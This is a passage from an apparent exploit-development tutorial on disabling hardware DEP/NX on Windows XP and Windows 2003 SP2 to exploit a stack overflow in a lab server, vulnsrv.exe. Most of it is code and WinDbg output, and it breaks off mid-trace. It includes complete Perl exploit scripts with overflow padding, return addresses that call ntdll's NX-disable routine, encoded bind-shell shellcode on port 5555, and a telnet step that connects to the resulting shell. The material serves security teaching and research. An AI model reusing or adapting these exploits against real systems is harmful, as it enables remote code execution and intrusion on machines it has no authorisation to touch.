#0000ff\">connect<\/span>(SOCKET, $paddr) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">connect: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Sending payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $payload = $junk.$disabledep.$shellcode.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> SOCKET $payload.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Payload sent, <\/span>&quot;.<span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">close<\/span> SOCKET or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">close: $!<\/span>&quot;;<\/pre>\n<p>After running this code, we get this :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(bac.1148): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012e701 ebx=00000000 ecx=0012e569 edx=0012e700 esi=00000001 edi=00403388\neip=43434343 esp=0012e274 ebp=0012e264 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246\n43434343 ??              ???<\/pre>\n<p>bingo ! NX has been disabled, EIP points at our C\u2019s, and ESP points at :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; d esp\n0012e274  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD\n0012e284  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD\n0012e294  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD\n0012e2a4  44 44 45 45 45 45 46 46-46 46 46 46 46 46 46 46  DDEEEEFFFFFFFFFF\n0012e2b4  46 46 46 46 46 46 46 46-46 46 46 46 46 46 46 46  FFFFFFFFFFFFFFFF\n0012e2c4  46 46 46 46 46 46 46 46-46 46 46 46 46 46 46 46  FFFFFFFFFFFFFFFF\n0012e2d4  46 46 46 46 46 46 46 46-46 46 46 46 46 46 46 46  FFFFFFFFFFFFFFFF\n0012e2e4  46 46 46 46 46 46 46 46-46 46 46 46 46 46 46 46  FFFFFFFFFFFFFFFF<\/pre>\n<p>Final exploit :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">use<\/span> strict;\n<span style=\"color: #0000ff\">use<\/span> Socket;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 508;\n\n<span style=\"color: #0000ff\">my<\/span> $disabledep = <span style=\"color: #0000ff\">pack<\/span>('V',0x77eedc70);  #adjust EBP\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x7c95371a);  #set eax to 1\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x7c91cd44);  #run NX Disable routine\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x7e47bcaf);  #jmp esp (user32.dll)\n\n<span style=\"color: #0000ff\">my<\/span> $nops = &quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 30;\n\n# windows\/shell_bind_tcp - 702 bytes\n# http:<span style=\"color: #008000\">\/\/www.metasploit.com<\/span>\n# Encoder: x86\/alpha_upper\n# EXITFUNC=seh, LPORT=5555, RHOST=\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">\\x89\\xe0\\xd9\\xd0\\xd9\\x70\\xf4\\x59\\x49\\x49\\x49\\x49\\x49\\x43<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\\x42<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\\x30<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x42\\x4a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4a\\x4b\\x50\\x4d\\x4d\\x38\\x4c\\x39\\x4b\\x4f\\x4b\\x4f\\x4b\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x30\\x4c\\x4b\\x42\\x4c\\x51\\x34\\x51\\x34\\x4c\\x4b\\x47\\x35<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x4c\\x4c\\x4b\\x43\\x4c\\x43\\x35\\x44\\x38\\x45\\x51\\x4a\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x50\\x4f\\x44\\x58\\x4c\\x4b\\x51\\x4f\\x47\\x50\\x43\\x31<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4a\\x4b\\x47\\x39\\x4c\\x4b\\x46\\x54\\x4c\\x4b\\x43\\x31\\x4a\\x4e<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x31\\x49\\x50\\x4a\\x39\\x4e\\x4c\\x4c\\x44\\x49\\x50\\x42\\x54<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x57\\x49\\x51\\x48\\x4a\\x44\\x4d\\x45\\x51\\x48\\x42\\x4a\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x34\\x47\\x4b\\x46\\x34\\x46\\x44\\x51\\x38\\x42\\x55\\x4a\\x45<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x51\\x4f\\x51\\x34\\x43\\x31\\x4a\\x4b\\x43\\x56\\x4c\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x4c\\x50\\x4b\\x4c\\x4b\\x51\\x4f\\x45\\x4c\\x43\\x31\\x4a\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x43\\x46\\x4c\\x4c\\x4b\\x4b\\x39\\x42\\x4c\\x51\\x34\\x45\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x31\\x49\\x53\\x46\\x51\\x49\\x4b\\x43\\x54\\x4c\\x4b\\x51\\x53<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x30\\x4c\\x4b\\x47\\x30\\x44\\x4c\\x4c\\x4b\\x42\\x50\\x45\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4e\\x4d\\x4c\\x4b\\x51\\x50\\x44\\x48\\x51\\x4e\\x43\\x58\\x4c\\x4e<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x4e\\x44\\x4e\\x4a\\x4c\\x46\\x30\\x4b\\x4f\\x4e\\x36\\x45\\x36<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x43\\x42\\x46\\x43\\x58\\x46\\x53\\x47\\x42\\x45\\x38\\x43\\x47<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x33\\x46\\x52\\x51\\x4f\\x46\\x34\\x4b\\x4f\\x48\\x50\\x42\\x48<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x4b\\x4a\\x4d\\x4b\\x4c\\x47\\x4b\\x46\\x30\\x4b\\x4f\\x48\\x56<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x4f\\x4c\\x49\\x4d\\x35\\x43\\x56\\x4b\\x31\\x4a\\x4d\\x45\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x42\\x46\\x35\\x43\\x5a\\x43\\x32\\x4b\\x4f\\x4e\\x30\\x45\\x38<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x59\\x45\\x59\\x4a\\x55\\x4e\\x4d\\x51\\x47\\x4b\\x4f\\x48\\x56<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x43\\x50\\x53\\x50\\x53\\x46\\x33\\x46\\x33\\x51\\x53\\x50\\x53<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x33\\x46\\x33\\x4b\\x4f\\x4e\\x30\\x42\\x46\\x42\\x48\\x42\\x35<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4e\\x53\\x45\\x36\\x50\\x53\\x4b\\x39\\x4b\\x51\\x4c\\x55\\x43\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4e\\x44\\x45\\x4a\\x44\\x30\\x49\\x57\\x46\\x37\\x4b\\x4f\\x4e\\x36<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x42\\x4a\\x44\\x50\\x50\\x51\\x50\\x55\\x4b\\x4f\\x48\\x50\\x45\\x38<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x49\\x34\\x4e\\x4d\\x46\\x4e\\x4a\\x49\\x50\\x57\\x4b\\x4f\\x49\\x46<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x33\\x50\\x55\\x4b\\x4f\\x4e\\x30\\x42\\x48\\x4d\\x35\\x51\\x59<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x46\\x51\\x59\\x51\\x47\\x4b\\x4f\\x49\\x46\\x46\\x30\\x50\\x54<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x34\\x50\\x55\\x4b\\x4f\\x48\\x50\\x4a\\x33\\x43\\x58\\x4b\\x57<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x49\\x48\\x46\\x44\\x39\\x51\\x47\\x4b\\x4f\\x4e\\x36\\x46\\x35<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4b\\x4f\\x48\\x50\\x43\\x56\\x43\\x5a\\x45\\x34\\x42\\x46\\x45\\x38<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x53\\x42\\x4d\\x4b\\x39\\x4a\\x45\\x42\\x4a\\x50\\x50\\x50\\x59<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x59\\x48\\x4c\\x4b\\x39\\x4d\\x37\\x42\\x4a\\x47\\x34\\x4c\\x49<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4b\\x52\\x46\\x51\\x49\\x50\\x4b\\x43\\x4e\\x4a\\x4b\\x4e\\x47\\x32<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x4d\\x4b\\x4e\\x50\\x42\\x46\\x4c\\x4d\\x43\\x4c\\x4d\\x42\\x5a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x58\\x4e\\x4b\\x4e\\x4b\\x4e\\x4b\\x43\\x58\\x43\\x42\\x4b\\x4e<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x33\\x42\\x36\\x4b\\x4f\\x43\\x45\\x51\\x54\\x4b\\x4f\\x48\\x56<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x4b\\x46\\x37\\x50\\x52\\x50\\x51\\x50\\x51\\x50\\x51\\x43\\x5a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x51\\x46\\x31\\x50\\x51\\x51\\x45\\x50\\x51\\x4b\\x4f\\x4e\\x30<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x58\\x4e\\x4d\\x49\\x49\\x44\\x45\\x48\\x4e\\x46\\x33\\x4b\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x56\\x43\\x5a\\x4b\\x4f\\x4b\\x4f\\x50\\x37\\x4b\\x4f\\x4e\\x30<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x51\\x47\\x4b\\x4c\\x4b\\x33\\x49\\x54\\x42\\x44\\x4b\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x56\\x51\\x42\\x4b\\x4f\\x48\\x50\\x43\\x58\\x4a\\x50\\x4c\\x4a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x34\\x51\\x4f\\x50\\x53\\x4b\\x4f\\x4e\\x36\\x4b\\x4f\\x48\\x50<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x41\\x41<\/span>&quot;;\n\n# initialize host and port\n<span style=\"color: #0000ff\">my<\/span> $host = <span style=\"color: #0000ff\">shift<\/span> || 'localhost';\n<span style=\"color: #0000ff\">my<\/span> $port = <span style=\"color: #0000ff\">shift<\/span> || 200;\n<span style=\"color: #0000ff\">my<\/span> $proto = <span style=\"color: #0000ff\">getprotobyname<\/span>('tcp');\n# get the port address\n<span style=\"color: #0000ff\">my<\/span> $iaddr = inet_aton($host);\n<span style=\"color: #0000ff\">my<\/span> $paddr = sockaddr_in($port, $iaddr);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Setting up socket\\n<\/span>&quot;;\n# create the <span style=\"color: #0000ff\">socket<\/span>, <span style=\"color: #0000ff\">connect<\/span> to the port\n<span style=\"color: #0000ff\">socket<\/span>(SOCKET, PF_INET, SOCK_STREAM, $proto) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">socket: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Connecting to $host on port $port\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">connect<\/span>(SOCKET, $paddr) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">connect: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Sending payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $payload = $junk.$disabledep.$nops.$shellcode.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> SOCKET $payload.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Payload sent, <\/span>&quot;.<span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">close<\/span> SOCKET or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">close: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">system<\/span>('telnet '.$host.' 5555');<\/pre>\n<p>Note that this exploit will work, even if NX\/HW DEP is not enabled.<\/p>\n<h4>Disabling HW DEP (Windows 2003 SP2) : demonstration<\/h4>\n<p>On Windows 2003 SP2, some additional checks are added (CMP AL and EBP versus EBP vs ESI), which requires us to change our technique just a little. The result is that we need to point both EBP and ESI to writable addresses in order for the exploit to work.<\/p>\n<p>On Windows 2003 server standard R2 SP2, English, the ntdll!LdrpCheckNXCompatibility function looks like this :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 980px; border-right: #cecece 1px solid; width: 765px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; uf ntdll!LdrpCheckNXCompatibility\nntdll!LdrpCheckNXCompatibility:\n7c8343b4 8bff            mov     edi,edi\n7c8343b6 55              <span style=\"color: #0000ff\">push<\/span>    ebp\n7c8343b7 8bec            mov     ebp,esp\n7c8343b9 51              <span style=\"color: #0000ff\">push<\/span>    ecx\n7c8343ba 833db4a9887c00  cmp     dword ptr [ntdll!Kernel32BaseQueryModuleData (7c88a9b4)],0\n7c8343c1 7441            je      ntdll!LdrpCheckNXCompatibility+0x5f (7c834404)\n\nntdll!LdrpCheckNXCompatibility+0xf:\n7c8343c3 8365fc00        and     dword ptr [ebp-4],0\n7c8343c7 56              <span style=\"color: #0000ff\">push<\/span>    esi\n7c8343c8 8b7508          mov     esi,dword ptr [ebp+8]\n7c8343cb 56              <span style=\"color: #0000ff\">push<\/span>    esi\n7c8343cc e899510000      call    ntdll!LdrpCheckSafeDiscDll (7c83956a)\n7c8343d1 3c01            cmp     al,1\n7c8343d3 0f846eb10000    je      ntdll!LdrpCheckNXCompatibility+0x2b (7c83f547)\n\nntdll!LdrpCheckNXCompatibility+0x21:\n7c8343d9 56              <span style=\"color: #0000ff\">push<\/span>    esi\n7c8343da e8e4520000      call    ntdll!LdrpCheckAppDatabase (7c8396c3)\n7c8343df 84c0            test    al,al\n7c8343e1 0f8560b10000    jne     ntdll!LdrpCheckNXCompatibility+0x2b (7c83f547)\n\nntdll!LdrpCheckNXCompatibility+0x34:\n7c8343e7 56              <span style=\"color: #0000ff\">push<\/span>    esi\n7c8343e8 e8e4510000      call    ntdll!LdrpCheckNxIncompatibleDllSection (7c8395d1)\n7c8343ed 84c0            test    al,al\n7c8343ef 0f85272c0100    jne     ntdll!LdrpCheckNXCompatibility+0x3e (7c84701c)\n\nntdll!LdrpCheckNXCompatibility+0x45:\n<strong><span style=\"color: #ff0000\">7c8343f5 837dfc00        cmp     dword ptr [ebp-4],0<\/span><\/strong>\n7c8343f9 0f854fb10000    jne     ntdll!LdrpCheckNXCompatibility+0x4b (7c83f54e)\n\nntdll!LdrpCheckNXCompatibility+0x5a:\n<strong><span style=\"color: #ff0000\">7c8343ff 804e3780        or      byte ptr [esi+37h],80h<\/span><\/strong>\n7c834403 5e              <span style=\"color: #0000ff\">pop<\/span>     esi\n\nntdll!LdrpCheckNXCompatibility+0x5f:\n7c834404 c9              leave\n7c834405 c20400          ret     4\n\nntdll!LdrpCheckNXCompatibility+0x2b:\n7c83f547 c745fc02000000  mov     dword ptr [ebp-4],<span style=\"color: #0000ff\">offset<\/span> &lt;Unloaded_elp.dll&gt;+0x1 (00000002)\n\nntdll!LdrpCheckNXCompatibility+0x4b:\n7c83f54e 6a04            <span style=\"color: #0000ff\">push<\/span>    4\n7c83f550 8d45fc          lea     eax,[ebp-4]\n7c83f553 50              <span style=\"color: #0000ff\">push<\/span>    eax\n7c83f554 6a22            <span style=\"color: #0000ff\">push<\/span>    22h\n7c83f556 6aff            <span style=\"color: #0000ff\">push<\/span>    0FFFFFFFFh\n7c83f558 e80085feff      call    ntdll!ZwSetInformationProcess (7c827a5d)\n7c83f55d e99d4effff      jmp     ntdll!LdrpCheckNXCompatibility+0x5a (7c8343ff)\n\nntdll!LdrpCheckNXCompatibility+0x3e:\n7c84701c c745fc02000000  mov     dword ptr [ebp-4],<span style=\"color: #0000ff\">offset<\/span> &lt;Unloaded_elp.dll&gt;+0x1 (00000002)\n7c847023 e9cdd3feff      jmp     ntdll!LdrpCheckNXCompatibility+0x45 (7c8343f5)<\/pre>\n<p>So, the value at [ebp-4] is compared, a jump is made to 7c83f54, the followed by the call to ZwSetInformationProcess (at 0x7c827a5d)<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 386px; border-right: #cecece 1px solid; width: 690px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">ntdll!LdrpCheckNXCompatibility+0x4b:\n7c83f54e 6a04            <span style=\"color: #0000ff\">push<\/span>    4\n7c83f550 8d45fc          lea     eax,[ebp-4]\n7c83f553 50              <span style=\"color: #0000ff\">push<\/span>    eax\n7c83f554 6a22            <span style=\"color: #0000ff\">push<\/span>    22h\n7c83f556 6aff            <span style=\"color: #0000ff\">push<\/span>    0FFFFFFFFh\n7c83f558 e80085feff      call    ntdll!ZwSetInformationProcess (7c827a5d)\n7c83f55d e99d4effff      jmp     ntdll!LdrpCheckNXCompatibility+0x5a (7c8343ff)\n7c83f562 0fb6fd          movzx   edi,ch\n\n0:000&gt; u 7c827a5d\nntdll!ZwSetInformationProcess:\n7c827a5d b8ed000000      mov     eax,0EDh\n7c827a62 ba0003fe7f      mov     edx,<span style=\"color: #0000ff\">offset<\/span> SharedUserData!SystemCallStub (7ffe0300)\n7c827a67 ff12            call    dword ptr [edx]\n7c827a69 c21000          ret     10h\n7c827a6c 90              nop\nntdll!NtSetInformationThread:\n7c827a6d b8ee000000      mov     eax,0EEh\n7c827a72 ba0003fe7f      mov     edx,<span style=\"color: #0000ff\">offset<\/span> SharedUserData!SystemCallStub (7ffe0300)\n7c827a77 ff12            call    dword ptr [edx]<\/pre>\n<p>After executing this routine, it will return back to the caller function, arriving at 0x7c8343ff<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">ntdll!LdrpCheckNXCompatibility+0x5a:\n7c8343ff 804e3780        or      byte ptr [esi+37h],80h\n7c834403 5e              <span style=\"color: #0000ff\">pop<\/span>     esi\n\nntdll!LdrpCheckNXCompatibility+0x5f:\n7c834404 c9              leave\n7c834405 c20400          ret     4<\/pre>\n<p>That\u2019s where ESI is used. If that instruction has been executed, esi is popped, and the function epilog begins.<\/p>\n<p>We have already learned how to alter the contents of EBP (so it would point at a writable useful location), now we need to do the same for ESI. On top of that, we really need to review the various instructions &amp; look at the contents of the registers here. One of the things to notice, when using our example vulnsrv.exe application, is that whatever is put in ESI, will be used to jump to later on.<\/p>\n<p>Let\u2019s see what happens with the following exploit code, using the following 2 addresses to adjust esi and ebp :<\/p>\n<p>- 0x71c0db30 : adjust ESI (push esp, pop esi, ret)<\/p>\n<p>- 0x77c177f8 : adjust EBP (push esp, pop ebp, ret)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image55.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb55.png\" width=\"660\" height=\"211\" \/><\/a><\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 543px; border-right: #cecece 1px solid; width: 693px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">use<\/span> strict;\n<span style=\"color: #0000ff\">use<\/span> Socket;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 508;\n<span style=\"color: #0000ff\">my<\/span> $disabledep = <span style=\"color: #0000ff\">pack<\/span>('V',0x71c0db30);  #adjust esi\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x77c177f8); # adjust ebp\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x7c86311d);  #set eax to 1\n$disabledep=  $disabledep.&quot;<span style=\"color: #8b0000\">FFFF<\/span>&quot;; #4 bytes padding\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x7c8343f5);  #run NX Disable routine\n$disabledep = $disabledep.&quot;<span style=\"color: #8b0000\">FFFF<\/span>&quot;; #4 more bytes padding\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x773ebdff);  #jmp esp (user32.dll)\n\n<span style=\"color: #0000ff\">my<\/span> $nops = &quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 30;\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">\\xcc<\/span>&quot; x 700;\n\n# initialize host and port\n<span style=\"color: #0000ff\">my<\/span> $host = <span style=\"color: #0000ff\">shift<\/span> || 'localhost';\n<span style=\"color: #0000ff\">my<\/span> $port = <span style=\"color: #0000ff\">shift<\/span> || 200;\n<span style=\"color: #0000ff\">my<\/span> $proto = <span style=\"color: #0000ff\">getprotobyname<\/span>('tcp');\n# get the port address\n<span style=\"color: #0000ff\">my<\/span> $iaddr = inet_aton($host);\n<span style=\"color: #0000ff\">my<\/span> $paddr = sockaddr_in($port, $iaddr);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Setting up socket\\n<\/span>&quot;;\n# create the <span style=\"color: #0000ff\">socket<\/span>, <span style=\"color: #0000ff\">connect<\/span> to the port\n<span style=\"color: #0000ff\">socket<\/span>(SOCKET, PF_INET, SOCK_STREAM, $proto) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">socket: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Connecting to $host on port $port\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">connect<\/span>(SOCKET, $paddr) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">connect: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Sending payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $payload = $junk.$disabledep.$nops.$shellcode.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> SOCKET $payload.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Payload sent, <\/span>&quot;.<span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">close<\/span> SOCKET or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">close: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">system<\/span>('telnet '.$host.' 5555');<\/pre>\n<p>Open vulnsrv.exe in windbg, and set a breakpoint at 0x7c8343f5 (so when the NX Disable routine is called). Then start vulnsrv (you may have to hit F5 a couple of times) and run the exploit code against the server and see what happens :<\/p>\n<p>Breakpoint is hit<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">Breakpoint 0 hit\neax=0012e70<strong><span style=\"color: #ff0000\">1<\/span><\/strong> ebx=00000000 ecx=0012e559 edx=0012e700 <strong><span style=\"color: #ff0000\">esi=0012e264<\/span><\/strong> edi=00403388\neip=7c8343f5 esp=0012e274 <strong><span style=\"color: #ff0000\">ebp=0012e268<\/span><\/strong> iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\nntdll!LdrpCheckNXCompatibility+0x45:\n7c8343f5 837dfc00        cmp     dword ptr [ebp-4],0  ss:0023:0012e264=0012e268<\/pre>\n<p>Registers : both esi and ebp now point to a location close to the stack. The low bit of eax contains 1, so that\u2019s an indication that the \u2018mov al,1\u2019 instruction worked.<\/p>\n<p>Now step\/trace through the instructions (with the \u2018t\u2019) command :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; t\neax=0012e701 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388\neip=7c8343f9 esp=0012e274 ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!LdrpCheckNXCompatibility+0x49:\n7c8343f9 0f854fb10000    jne     ntdll!LdrpCheckNXCompatibility+0x4b (7c83f54e) [br=1]\n0:000&gt; t\neax=0012e701 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388\neip=7c83f54e esp=0012e274 ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!LdrpCheckNXCompatibility+0x4b:\n7c83f54e 6a04            <span style=\"color: #0000ff\">push<\/span>    4\n0:000&gt; t\neax=0012e701 ebx=00000000 ecx=0012e559 edx=0012e700 